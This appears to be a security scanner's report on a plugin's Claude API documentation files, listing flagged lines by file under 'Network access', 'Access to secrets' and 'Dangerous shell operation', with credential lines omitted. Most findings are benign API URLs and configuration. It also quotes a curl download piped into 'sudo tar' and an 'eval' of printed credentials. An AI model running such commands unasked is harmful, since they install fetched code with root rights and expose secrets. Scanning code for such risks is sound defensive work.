client = Anthropic( timeout=httpx.Timeout(60.0, connect=5.0), - Network accessline 68
timeout=httpx.Timeout(60.0, connect=5.0), - Network accessline 69
http_client=DefaultHttpxClient(proxy="http://proxy.example", transport=httpx.HTTPTransport(retries=1)), - Network accessline 76
client = Anthropic( timeout=httpx.Timeout(60.0, connect=5.0), - Network accessline 77
timeout=httpx.Timeout(60.0, connect=5.0), - Network accessline 78
http_client=DefaultHttpxClient(proxy="http://proxy.example", transport=httpx.HTTPTransport(retries=1)),
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/python/claude-api/tool-use.md
- Network accessline 91
**Beta.** Convert [MCP (Model Context Protocol)](https://modelcontextprotocol.io/) tools, prompts, and resources to Anthropic API types for use with the tool runner. Requires `pip install anthropic[mcp]` (Python 3.10+). - Network accessline 496
- `https://github.com/anthropics/anthropic-sdk-python/blob/main/examples/memory/basic.py`
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/python/managed-agents/README.md
- Network accessline 3
> **Bindings not shown here:** This README covers the most common managed-agents flows for Python. If you need a class, method, namespace, field, or behavior that isn't shown, web_fetch the Python SDK repo **or the relevant docs page** from - Access to secretsline 19
[Credential-related source omitted] - Access to secretsline 24
[Credential-related source omitted] - Network accessline 62
) print(session.id, session.status) print(f"Trace: https://platform.claude.com/workspaces/default/sessions/{session.id}") # swap 'default' for your workspace ID if the API key is not in the Default workspace - Network accessline 64
print(f"Trace: https://platform.claude.com/workspaces/default/sessions/{session.id}") # swap 'default' for your workspace ID if the API key is not in the Default workspace - Network accessline 98
{ "type": "github_repository", "url": "https://github.com/owner/repo", - Network accessline 99
"type": "github_repository", "url": "https://github.com/owner/repo", "mount_path": "/workspace/repo", - Network accessline 100
"url": "https://github.com/owner/repo", - Access to secretsline 102
[Credential-related source omitted] - Network accessline 195
> ⚠<U+FE0F> **Prefer the SDK over raw `requests`/`httpx`.** If you hand-roll a poll loop, don't assume `timeout=(5, 60)` or `httpx.Timeout(120)` caps total call duration — both are **per-chunk** read timeouts (reset on every byte), so a trickling - Network accessline 317
model="claude-opus-5", mcp_servers=[ {"type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse"}, - Network accessline 318
mcp_servers=[ {"type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse"}, ], - Network accessline 319
{"type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse"},
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/ruby/claude-api/README.md
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/ruby/managed-agents/README.md
- Network accessline 3
> **Bindings not shown here:** This README covers the most common managed-agents flows for Ruby. If you need a class, method, namespace, field, or behavior that isn't shown, web_fetch the Ruby SDK repo **or the relevant docs page** from `sh - Access to secretsline 18
[Credential-related source omitted] - Access to secretsline 22
[Credential-related source omitted] - Network accessline 64
) puts "Session ID: #{session.id}" puts "Trace: https://platform.claude.com/workspaces/default/sessions/#{session.id}" # swap 'default' for your workspace ID if the API key is not in the Default workspace - Network accessline 66
puts "Trace: https://platform.claude.com/workspaces/default/sessions/#{session.id}" # swap 'default' for your workspace ID if the API key is not in the Default workspace - Network accessline 271
type: "url", name: "github", url: "https://api.githubcopilot.com/mcp/" - Network accessline 272
name: "github", url: "https://api.githubcopilot.com/mcp/" } - Network accessline 273
url: "https://api.githubcopilot.com/mcp/" - Network accessline 308
auth: { type: "mcp_oauth", mcp_server_url: "https://mcp.slack.com/mcp", - Network accessline 309
[Credential-related source omitted] - Network accessline 310
mcp_server_url: "https://mcp.slack.com/mcp", - Access to secretsline 311
[Credential-related source omitted] - Network accessline 312
expires_at: "2026-04-15T00:00:00Z", refresh: { token_endpoint: "https://slack.com/api/oauth.v2.access", - Network accessline 313
refresh: { token_endpoint: "https://slack.com/api/oauth.v2.access", client_id: "1234567890.0987654321", - Network accessline 314
token_endpoint: "https://slack.com/api/oauth.v2.access", - Access to secretsline 320
[Credential-related source omitted] - Access to secretsline 332
[Credential-related source omitted] - Network accessline 354
{ type: "github_repository", url: "https://github.com/org/repo", - Network accessline 355
type: "github_repository", url: "https://github.com/org/repo", mount_path: "/workspace/repo", - Network accessline 356
url: "https://github.com/org/repo", - Network accessline 368
{ type: "github_repository", url: "https://github.com/org/frontend", - Network accessline 369
type: "github_repository", url: "https://github.com/org/frontend", mount_path: "/workspace/frontend", - Network accessline 370
url: "https://github.com/org/frontend", - Network accessline 374
{ type: "github_repository", url: "https://github.com/org/backend", - Network accessline 375
type: "github_repository", url: "https://github.com/org/backend", mount_path: "/workspace/backend", - Network accessline 376
url: "https://github.com/org/backend",
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/agent-design.md
- Network accessline 28
- **Security boundary.** Actions that require gating are natural candidates. Reversibility is a useful criterion: hard-to-reverse actions (external API calls, sending messages, deleting data) can be gated behind user confirmation. A `send_e
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/anthropic-cli.md
- Network accessline 23
# Linux / WSL — pick the release from github.com/anthropics/anthropic-cli/releases curl -fsSL "https://github.com/anthropics/anthropic-cli/releases/download/v${VERSION}/ant_${VERSION}_$(uname -s | tr A-Z a-z)_$(uname -m | sed -e s/x86_64/am - Dangerous shell operationline 24
curl -fsSL "https://github.com/anthropics/anthropic-cli/releases/download/v${VERSION}/ant_${VERSION}_$(uname -s | tr A-Z a-z)_$(uname -m | sed -e s/x86_64/amd64/ -e s/aarch64/arm64/).tar.gz" | sudo tar -xz -C /usr/local/bin ant - Network accessline 24
curl -fsSL "https://github.com/anthropics/anthropic-cli/releases/download/v${VERSION}/ant_${VERSION}_$(uname -s | tr A-Z a-z)_$(uname -m | sed -e s/x86_64/amd64/ -e s/aarch64/arm64/).tar.gz" \ - Dangerous shell operationline 25
| sudo tar -xz -C /usr/local/bin ant - Access to secretsline 31
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 34
[Credential-related source omitted] - Access to secretsline 37
[Credential-related source omitted] - Network accessline 57
# Bare access token — for curl's Authorization header curl https://api.anthropic.com/v1/messages \ - Network accessline 58
curl https://api.anthropic.com/v1/messages \ - Access to secretsline 65
[Credential-related source omitted] - Dangerous shell operationline 67
set -a; eval "$(ant auth print-credentials --env)"; set +a - Access to secretsline 68
[Credential-related source omitted] - Access to secretsline 71
[Credential-related source omitted] - Access to secretsline 73
[Credential-related source omitted] - Network accessline 106
`--transform` takes a [GJSON path](https://github.com/tidwall/gjson/blob/master/SYNTAX.md). On list endpoints it runs **per item**, not on the envelope.
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/claude-platform-on-aws.md
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/error-codes.md
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/live-sources.md
- Network accessline 16
| Topic | URL | Extraction Prompt | | --------------- | --------------------------------------- - Network accessline 17
| --------------- | ---------------------------------------------------------------------------- | ------------------------------------------------------------------------------- | | Models Overview | `https://platform.claude.com/docs/en/mo - Network accessline 18
| Models Overview | `https://platform.claude.com/docs/en/models/overview.md` | "Extract current model IDs, context windows, and pricing for all Claude models" | - Network accessline 19
| Migration Guide | `https://platform.claude.com/docs/en/about-claude/models/migration-guide.md` | "Extract breaking changes, deprecated parameters, and per-model migration steps when moving to a newer Claude model" | - Network accessline 20
| Introducing Claude Fable 5 | `https://platform.claude.com/docs/en/models/fable-5/introducing-claude-fable-5-and-claude-mythos-5.md` | "Extract capabilities, API changes, and availability stages for Claude Fable 5 and Claude Mythos 5" | - Network accessline 21
| Pricing | `https://platform.claude.com/docs/en/about-claude/pricing.md` | "Extract current pricing per million tokens for input and output" | - Network accessline 25
| Topic | URL | Extraction Prompt | | ----------------- | ---------------------------- - Network accessline 26
| ----------------- | ---------------------------------------------------------------------------- | -------------------------------------------------------------------------------------- | | Extended Thinking | `https://platform.claude.com - Network accessline 27
| Extended Thinking | `https://platform.claude.com/docs/en/build-with-claude/extended-thinking.md` | "Extract extended thinking parameters, budget_tokens requirements, and usage examples" | - Network accessline 28
| Adaptive Thinking | `https://platform.claude.com/docs/en/build-with-claude/adaptive-thinking.md` | "Extract adaptive thinking setup, effort levels, and Claude Opus 5 usage examples" | - Network accessline 29
| Effort Parameter | `https://platform.claude.com/docs/en/build-with-claude/effort.md` | "Extract effort levels, cost-quality tradeoffs, and interaction with thinking" | - Network accessline 30
| Tool Use | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/overview.md` | "Extract tool definition schema, tool_choice options, and handling tool results" | - Network accessline 31
| Streaming | `https://platform.claude.com/docs/en/build-with-claude/streaming.md` | "Extract streaming event types, SDK examples, and best practices" | - Network accessline 32
| Prompt Caching | `https://platform.claude.com/docs/en/build-with-claude/prompt-caching.md` | "Extract cache_control usage, pricing benefits, and implementation examples" | - Network accessline 36
| Topic | URL | Extraction Prompt | | ----------- | ------------------------------------------------------------------- - Network accessline 37
| ----------- | ---------------------------------------------------------------------- | ----------------------------------------------------------------- | | Vision | `https://platform.claude.com/docs/en/build-with-claude/vision.md` - Network accessline 38
| Vision | `https://platform.claude.com/docs/en/build-with-claude/vision.md` | "Extract supported image formats, size limits, and code examples" | - Network accessline 39
| PDF Support | `https://platform.claude.com/docs/en/build-with-claude/pdf-support.md` | "Extract PDF handling capabilities, limits, and examples" | - Network accessline 43
| Topic | URL | Extraction Prompt | | ---------------- | -------------- - Network accessline 44
| ---------------- | --------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------- | | Batch Processing | `https://platf - Network accessline 45
| Batch Processing | `https://platform.claude.com/docs/en/build-with-claude/batch-processing.md` | "Extract batch API endpoints, request format, and polling for results" | | Files API | `https://platf - Network accessline 46
| Files API | `https://platform.claude.com/docs/en/build-with-claude/files.md` | "Extract file upload, download, and referencing in messages, including supported types and beta header" | - Network accessline 47
| Token Counting | `https://platform.claude.com/docs/en/build-with-claude/token-counting.md` | "Extract token counting API usage and examples" | - Network accessline 48
| Rate Limits | `https://platform.claude.com/docs/en/api/rate-limits.md` | "Extract current rate limits by tier and model" | - Network accessline 49
| Errors | `https://platform.claude.com/docs/en/api/errors.md` | "Extract HTTP error codes, meanings, and retry guidance" | - Network accessline 50
| Amazon Bedrock | `https://platform.claude.com/docs/en/build-with-claude/claude-on-amazon-bedrock.md` | "Extract the AnthropicBedrockMantle client per language, `anthropic.`-prefixed model IDs, auth paths, feature availability, and regio - Network accessline 51
| Claude Platform on AWS | `https://platform.claude.com/docs/en/build-with-claude/claude-platform-on-aws.md` | "Extract the AnthropicAWS client per language, SigV4 auth, credential precedence, short-term API keys, workspace_id, and region r - Network accessline 52
| Claude Platform on AWS — IAM actions | `https://platform.claude.com/docs/en/api/claude-platform-on-aws-iam-actions.md` | "Extract the IAM action names, resource ARNs, and policy examples required for each API capability" | - Network accessline 56
| Topic | URL | Extraction Prompt | | -------------- | ---------------------- - Network accessline 57
| -------------- | -------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------- | | Code Execution | `https://platform.clau - Network accessline 58
| Code Execution | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/code-execution-tool.md` | "Extract code execution tool setup, file upload, container reuse, and response handling" | - Network accessline 59
| Computer Use | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/computer-use.md` | "Extract computer use tool setup, capabilities, and implementation examples" | - Network accessline 60
| Bash Tool | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/bash-tool.md` | "Extract bash tool schema, reference implementation, and security considerations" | - Network accessline 61
| Text Editor | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/text-editor-tool.md` | "Extract text editor tool commands, schema, and reference implementation" | - Network accessline 62
| Memory Tool | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/memory-tool.md` | "Extract memory tool commands, directory structure, and implementation patterns" | - Network accessline 63
| Tool Search | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/tool-search-tool.md` | "Extract tool search setup, when to use, and cache interaction" | - Network accessline 64
| Programmatic Tool Calling | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/programmatic-tool-calling.md` | "Extract PTC setup, script execution model, and tool invocation from code" | - Network accessline 65
| Skills | `https://platform.claude.com/docs/en/agents-and-tools/skills.md` | "Extract skill folder structure, SKILL.md format, and loading behavior" | - Network accessline 69
| Topic | URL | Extraction Prompt | | ------------------ | ------------------------------------------------------------ - Network accessline 70
| ------------------ | ----------------------------------------------------------------------------- | --------------------------------------------------- | | Structured Outputs | `https://platform.claude.com/docs/en/build-with-claude/struc - Network accessline 71
| Structured Outputs | `https://platform.claude.com/docs/en/build-with-claude/structured-outputs.md` | "Extract output_config.format usage and schema enforcement" | - Network accessline 72
| Compaction | `https://platform.claude.com/docs/en/build-with-claude/compaction.md` | "Extract compaction setup, trigger config, and streaming with compaction" | - Network accessline 73
| Context Editing | `https://platform.claude.com/docs/en/build-with-claude/context-editing.md` | "Extract context editing thresholds, what gets cleared, and configuration" | - Network accessline 74
| Citations | `https://platform.claude.com/docs/en/build-with-claude/citations.md` | "Extract citation format and implementation" | - Network accessline 75
| Context Windows | `https://platform.claude.com/docs/en/build-with-claude/context-windows.md` | "Extract context window sizes and token management" | - Network accessline 81
| Topic | URL | Extraction Prompt | | --------------------- | ------- - Network accessline 82
| --------------------- | -------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------- | | Overview | `https: - Network accessline 83
| Overview | `https://platform.claude.com/docs/en/managed-agents/overview.md` | "Extract the high-level architecture and how agents/sessions/environments/vaults fit together" | - Network accessline 84
| Quickstart | `https://platform.claude.com/docs/en/managed-agents/quickstart.md` | "Extract the minimal end-to-end agent → environment → session → stream code path" | - Network accessline 85
| Agent Setup | `https://platform.claude.com/docs/en/managed-agents/agent-setup.md` | "Extract agent create/update/list-versions/archive lifecycle and parameters" | - Network accessline 86
| Define Outcomes | `https://platform.claude.com/docs/en/managed-agents/define-outcomes.md` | "Extract outcome definitions, evaluation hooks, and success criteria configuration" | - Network accessline 87
| Sessions | `https://platform.claude.com/docs/en/managed-agents/sessions.md` | "Extract session lifecycle, status transitions, idle/terminated semantics, and resume rules" | - Network accessline 88
| Environments | `https://platform.claude.com/docs/en/managed-agents/environments.md` | "Extract environment config (cloud/networking), management endpoints, and reuse model" | - Network accessline 89
| Self-Hosted Sandboxes | `https://platform.claude.com/docs/en/managed-agents/self-hosted-sandboxes.md` | "Extract config:{type:self_hosted}, ANTHROPIC_ENVIRONMENT_KEY, EnvironmentWorker.run/run_one, beta_agent_toolset, ant beta:worker p - Network accessline 90
| Self-Hosted Sandboxes — Security | `https://platform.claude.com/docs/en/managed-agents/self-hosted-sandboxes-security.md` | "Extract what the customer owns (hardening, egress, key custody, trust boundaries) vs what Anthropic cannot do" | - Network accessline 91
| Events and Streaming | `https://platform.claude.com/docs/en/managed-agents/events-and-streaming.md` | "Extract event stream types, stream-first ordering, reconnect/dedupe, and steering patterns" | - Network accessline 92
| Tools | `https://platform.claude.com/docs/en/managed-agents/tools.md` | "Extract built-in toolset, custom tool definitions, and tool result wire format" | - Network accessline 93
| Files | `https://platform.claude.com/docs/en/managed-agents/files.md` | "Extract file upload, mount paths, session resources, and listing/downloading session outputs" | - Network accessline 94
| Permission Policies | `https://platform.claude.com/docs/en/managed-agents/permission-policies.md` | "Extract permission policy types (allow/deny/confirm) and per-tool config" | - Network accessline 95
| Multi-Agent | `https://platform.claude.com/docs/en/managed-agents/multiagent-orchestration.md` | "Extract multi-agent composition patterns, sub-agent invocation, and result handoff" | - Network accessline 96
| Observability | `https://platform.claude.com/docs/en/managed-agents/observability.md` | "Extract logging, tracing, and usage telemetry exposed by managed agents" | - Network accessline 97
| Webhooks | `https://platform.claude.com/docs/en/managed-agents/webhooks.md` | "Extract webhook endpoint registration, HMAC signature verification, supported event types, and delivery semantics" | - Network accessline 98
| GitHub | `https://platform.claude.com/docs/en/managed-agents/github.md` | "Extract github_repository resource shape, multi-repo mounting, and token rotation" | - Network accessline 99
| MCP Connector | `https://platform.claude.com/docs/en/managed-agents/mcp-connector.md` | "Extract MCP server declaration on agents and vault-based credential injection at session" | - Network accessline 100
| Vaults | `https://platform.claude.com/docs/en/managed-agents/vaults.md` | "Extract vault create, credential add/rotate, OAuth refresh shape, and archive" | - Network accessline 101
| Skills | `https://platform.claude.com/docs/en/managed-agents/skills.md` | "Extract skill packaging and loading model for managed agents" | - Network accessline 102
| Memory | `https://platform.claude.com/docs/en/managed-agents/memory.md` | "Extract memory resource shape, scoping, and lifecycle" | - Network accessline 103
| Onboarding | `https://platform.claude.com/docs/en/managed-agents/onboarding.md` | "Extract first-run setup, prerequisites, and account/region requirements" | - Network accessline 104
| Cloud Containers | `https://platform.claude.com/docs/en/managed-agents/cloud-containers.md` | "Extract cloud container runtime, image config, and network/storage knobs" | - Network accessline 105
| Migration | `https://platform.claude.com/docs/en/managed-agents/migration.md` | "Extract migration paths from earlier APIs/preview shapes to GA managed agents" | - Network accessline 111
| Topic | URL | Extraction Prompt | | ------------- | --------------------------------------------- - Network accessline 112
| ------------- | ------------------------------------------------------- | -------------------------------------------------------------------------------------------------- | | Anthropic CLI | `https://platform.claude.com/docs/en/api/sdks - Network accessline 113
| Anthropic CLI | `https://platform.claude.com/docs/en/api/sdks/cli.md` | "Extract CLI install, authentication, command structure, and the beta:agents/environments/sessions commands" | - Network accessline 114
| Authentication overview | `https://platform.claude.com/docs/en/manage-claude/authentication.md` | "Extract the credential options (API keys, interactive OAuth login, Workload Identity Federation) and when to use each" | - Network accessline 115
| WIF reference | `https://platform.claude.com/docs/en/manage-claude/wif-reference.md` | "Extract credential precedence order, the profile configuration file schema, and the configuration directory layout" | - Network accessline 123
| SDK | URL | Extraction Prompt | | ---------- | ----------------------------- - Network accessline 124
| ---------- | -------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------- | | Python | `https://github.com/anthropic - Network accessline 125
| Python | `https://github.com/anthropics/anthropic-sdk-python` | "Extract beta managed-agents namespaces, classes, and method signatures (`client.beta.agents`, `client.beta.sessions`)" | - Network accessline 126
| TypeScript | `https://github.com/anthropics/anthropic-sdk-typescript` | "Extract beta managed-agents namespaces, classes, and method signatures (`client.beta.agents`, `client.beta.sessions`)" | - Network accessline 127
| Java | `https://github.com/anthropics/anthropic-sdk-java` | "Extract beta managed-agents classes, builders, and method signatures (`client.beta().agents()`, `BetaManagedAgents*`)" | - Network accessline 128
| Go | `https://github.com/anthropics/anthropic-sdk-go` | "Extract beta managed-agents types and method signatures (`client.Beta.Agents`, `BetaManagedAgents*` event types)" | - Network accessline 129
| Ruby | `https://github.com/anthropics/anthropic-sdk-ruby` | "Extract beta managed-agents methods and parameter shapes (`client.beta.agents`, `client.beta.sessions`)" | - Network accessline 130
| C# | `https://github.com/anthropics/anthropic-sdk-csharp` | "Extract beta managed-agents classes and method signatures (NuGet package, `BetaManagedAgents*` types)" | - Network accessline 131
| PHP | `https://github.com/anthropics/anthropic-sdk-php` | "Extract beta managed-agents classes and method signatures (`$client->beta->agents`, `BetaManagedAgents*` params)" | - Network accessline 139
| SDK | URL | Extraction Prompt | | ------------------ - Network accessline 141
| Python (0.x → 1.x) | `https://github.com/anthropics/anthropic-sdk-python/blob/main/MIGRATION.md` | "Extract every breaking change with its before/after code, the new minimum Python version, and the upgrade command" |
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-api-reference.md
- Network accessline 250
"type": "url", "name": "github", "url": "https://api.githubcopilot.com/mcp/" - Network accessline 251
"name": "github", "url": "https://api.githubcopilot.com/mcp/" } - Network accessline 252
"url": "https://api.githubcopilot.com/mcp/" - Network accessline 279
{ "type": "github_repository", "url": "https://github.com/owner/repo (required)", - Network accessline 280
[Credential-related source omitted] - Network accessline 281
"url": "https://github.com/owner/repo (required)", - Network accessline 445
Managed Agents endpoints have per-organization request-per-minute (RPM) limits, separate from your [Messages API token limits](https://platform.claude.com/docs/en/api/rate-limits). Model inference inside a session still draws from your orga - Network accessline 453
Files and Skills endpoints use the standard tier-based [rate limits](https://platform.claude.com/docs/en/api/rate-limits).
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-client-patterns.md
- Network accessline 5
Code samples are TypeScript — other languages follow the same shape; see `{lang}/managed-agents/README.md` (cURL and C#: `curl/managed-agents.md`) for equivalents.
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-core.md
- Network accessline 50
Every session has a live trace view in the Anthropic Console at `https://platform.claude.com/workspaces/{workspace}/sessions/{session_id}`. Print this URL immediately after creating a session so the user can watch tool calls and messages st - Network accessline 129
> 💡 **Watch it live in Console.** While developing, print a link so you can click through to the session UI instead of parsing the event stream: `https://platform.claude.com/workspaces/{workspace}/sessions/{session.id}`. Use `default` for ` - Network accessline 353
{"type": "mcp_toolset", "mcp_server_name": "linear"}, ], "mcp_servers": [{"type": "url", "name": "linear", "url": "https://mcp.linear.app/sse"}], - Network accessline 354
], "mcp_servers": [{"type": "url", "name": "linear", "url": "https://mcp.linear.app/sse"}], }, - Network accessline 355
"mcp_servers": [{"type": "url", "name": "linear", "url": "https://mcp.linear.app/sse"}],
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-environments.md
- Network accessline 149
model: 'claude-opus-5', mcp_servers: [ { type: 'url', name: 'github', url: 'https://api.githubcopilot.com/mcp/' }, - Network accessline 150
mcp_servers: [ { type: 'url', name: 'github', url: 'https://api.githubcopilot.com/mcp/' }, ], - Network accessline 151
{ type: 'url', name: 'github', url: 'https://api.githubcopilot.com/mcp/' }, - Network accessline 166
{ type: 'github_repository', url: 'https://github.com/owner/repo', - Network accessline 167
[Credential-related source omitted] - Network accessline 168
url: 'https://github.com/owner/repo', - Access to secretsline 169
[Credential-related source omitted] - Network accessline 185
"type": "url", "name": "github", "url": "https://api.githubcopilot.com/mcp/", - Network accessline 186
"name": "github", "url": "https://api.githubcopilot.com/mcp/", }], - Network accessline 187
"url": "https://api.githubcopilot.com/mcp/", - Network accessline 199
resources=[{ "type": "github_repository", "url": "https://github.com/owner/repo", - Network accessline 200
[Credential-related source omitted] - Network accessline 201
"url": "https://github.com/owner/repo", - Access to secretsline 202
[Credential-related source omitted]
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-events.md
- Network accessline 52
> ⚠<U+FE0F> **Robust polling (raw HTTP).** If you bypass the SDK and roll your own poll loop, don't rely on `requests` or `httpx` timeouts as wall-clock caps — they're **per-chunk** read timeouts, reset every time a byte arrives. A trickling respo
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-memory.md
- Network accessline 199
For cURL examples and the CLI (`ant beta:memory-stores ...`), web_fetch the Memory URL in `shared/live-sources.md` → Managed Agents.
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-multiagent.md
- Network accessline 89
The sections below are the reference for rosters, threads, events, and client-side handling; the platform guide is `https://platform.claude.com/docs/en/managed-agents/multiagent-orchestration.md`. - Network accessline 257
For per-language bindings beyond Python, web_fetch `https://platform.claude.com/docs/en/managed-agents/multiagent-orchestration.md` (see `shared/live-sources.md`).
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-onboarding.md
- Network accessline 73
**Block 2 — Runtime (every invocation; conversational and Outcome shapes).** SDK code in the detected language (Python/TS/cURL — SKILL.md → Language Detection); don't emit shell loops here: - Network accessline 75
1. Load `agent_id` + `env_id` from config/env 2. `sessions.create(agent=AGENT_ID, environment_id=ENV_ID, resources=[...], vault_ids=[...])`, then print the Console URL so the user can watch live: `https://platform.claude.com/workspaces/defa - Network accessline 76
2. `sessions.create(agent=AGENT_ID, environment_id=ENV_ID, resources=[...], vault_ids=[...])`, then print the Console URL so the user can watch live: `https://platform.claude.com/workspaces/default/sessions/{session.id}` (swap `default` for - Network accessline 82
Pull exact syntax from `{lang}/managed-agents/README.md` for your detected language (cURL and C#: use `curl/managed-agents.md` as the wire-level reference). Don't invent field names.
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-outcomes.md
- Network accessline 108
For the raw HTTP shapes and per-language SDK bindings beyond Python, web_fetch `https://platform.claude.com/docs/en/managed-agents/define-outcomes.md` (see `shared/live-sources.md`).
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-overview.md
- Network accessline 32
**Which beta header goes where:** The SDK sets `managed-agents-2026-04-01` automatically on `client.beta.{agents,environments,sessions,vaults,memory_stores,deployments,deployment_runs}.*` calls, and `files-api-2025-04-14` / `skills-2025-10- - Network accessline 70
- **Stream to get events** — `GET /v1/sessions/{id}/events/stream` is the primary way to receive agent output in real-time. - **SSE stream has no replay — reconnect with consolidation** — if the stream drops while a `agent.tool_use`, `agent - Network accessline 71
- **SSE stream has no replay — reconnect with consolidation** — if the stream drops while a `agent.tool_use`, `agent.mcp_tool_use`, or `agent.custom_tool_use` is pending resolution (`user.tool_confirmation` for the first two, `user.custom_t - Network accessline 72
- **Don't trust HTTP-library timeouts as wall-clock caps** — `requests` `timeout=(c, r)` and `httpx.Timeout(n)` are *per-chunk* read timeouts; they reset every byte, so a trickling connection can block indefinitely. For a hard deadline on r
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-scheduled-deployments.md
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-self-hosted-sandboxes.md
- Access to secretsline 9
[Credential-related source omitted] - Access to secretsline 40
[Credential-related source omitted] - Access to secretsline 41
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 60
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Access to secretsline 92
[Credential-related source omitted] - Access to secretsline 107
[Credential-related source omitted] - Access to secretsline 108
[Credential-related source omitted] - Access to secretsline 110
[Credential-related source omitted] - Access to secretsline 121
[Credential-related source omitted] - Access to secretsline 131
[Credential-related source omitted] - Access to secretsline 145
[Credential-related source omitted] - Access to secretsline 169
[Credential-related source omitted]
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-tools.md
- Network accessline 163
{ "mcp_servers": [ { "type": "url", "name": "linear", "url": "https://mcp.linear.app/mcp" } - Network accessline 164
"mcp_servers": [ { "type": "url", "name": "linear", "url": "https://mcp.linear.app/mcp" } ], - Network accessline 165
{ "type": "url", "name": "linear", "url": "https://mcp.linear.app/mcp" } - Access to secretsline 200
[Credential-related source omitted] - Network accessline 228
"auth": { "type": "mcp_oauth", "mcp_server_url": "https://mcp.notion.com/mcp", - Network accessline 229
[Credential-related source omitted] - Network accessline 230
"mcp_server_url": "https://mcp.notion.com/mcp", - Access to secretsline 231
[Credential-related source omitted] - Network accessline 234
[Credential-related source omitted] - Network accessline 235
"client_id": "<your OAuth client_id>", "token_endpoint": "https://api.notion.com/v1/oauth/token", "token_endpoint_auth": { "type": "none" } - Network accessline 236
"token_endpoint": "https://api.notion.com/v1/oauth/token", - Access to secretsline 248
[Credential-related source omitted] - Access to secretsline 249
[Credential-related source omitted] - Access to secretsline 262
[Credential-related source omitted]
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/model-migration.md
- Network accessline 452
Haiku 4.5 has its own rate-limit pool separate from Haiku 3 / 3.5. If you're ramping traffic as you migrate, check your tier's Haiku 4.5 limits at [API rate limits](https://platform.claude.com/docs/en/api/rate-limits) — a quota that comfort - Network accessline 503
If the code uses the `AnthropicBedrockMantle` client (Python `anthropic[bedrock]`, TypeScript `@anthropic-ai/bedrock-sdk`, Java `BedrockMantleBackend`, Go `bedrock.NewMantleClient`, etc.) or targets `https://bedrock-mantle.{region}.api.aws/ - Network accessline 521
If the code uses `AnthropicAWS` / `AnthropicAws` / `anthropicaws.NewClient` / `AnthropicAwsClient` (or targets `https://aws-external-anthropic.{region}.api.aws`), it is running on **Claude Platform on AWS** — Anthropic-operated, same-day AP
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/models.md
harness/github-copilot/plugins/open-horizons-platform/skills/foundry-claude-api/shared/tool-use-concepts.md
- Network accessline 99
Set a `max_continuations` limit (e.g., 5) to prevent infinite loops. For the full guide, see: `https://platform.claude.com/docs/en/build-with-claude/handling-stop-reasons` - Network accessline 219
- URL: `https://platform.claude.com/docs/en/agents-and-tools/tool-use/programmatic-tool-calling` - Network accessline 229
- URL: `https://platform.claude.com/docs/en/agents-and-tools/tool-use/tool-search-tool` - Network accessline 312
model="claude-opus-5", max_tokens=1024, betas=["mcp-client-2025-11-20"], mcp_servers=[{"type": "url", "url": "https://example/sse", "name": "example-mcp"}], - Network accessline 313
betas=["mcp-client-2025-11-20"], mcp_servers=[{"type": "url", "url": "https://example/sse", "name": "example-mcp"}], tools=[{"type": "mcp_toolset", "mcp_server_name": "example-mcp"}], - Network accessline 314
mcp_servers=[{"type": "url", "url": "https://example/sse", "name": "example-mcp"}], - Network accessline 332
- URL: `https://platform.claude.com/docs/en/agents-and-tools/tool-use/implement-tool-use` - Network accessline 342
- URL: `https://platform.claude.com/docs/en/agents-and-tools/computer-use/overview` - Network accessline 354
- URL: `https://platform.claude.com/docs/en/build-with-claude/context-editing` - Network accessline 419
- Docs: `https://platform.claude.com/docs/en/agents-and-tools/tool-use/memory-tool.md` - Network accessline 435
| Language | Declaration | |---|---| | Python / TypeScript / Ruby / cURL | plain object `{"type": "bash_20250124", "name": "bash"}` | - Network accessline 436
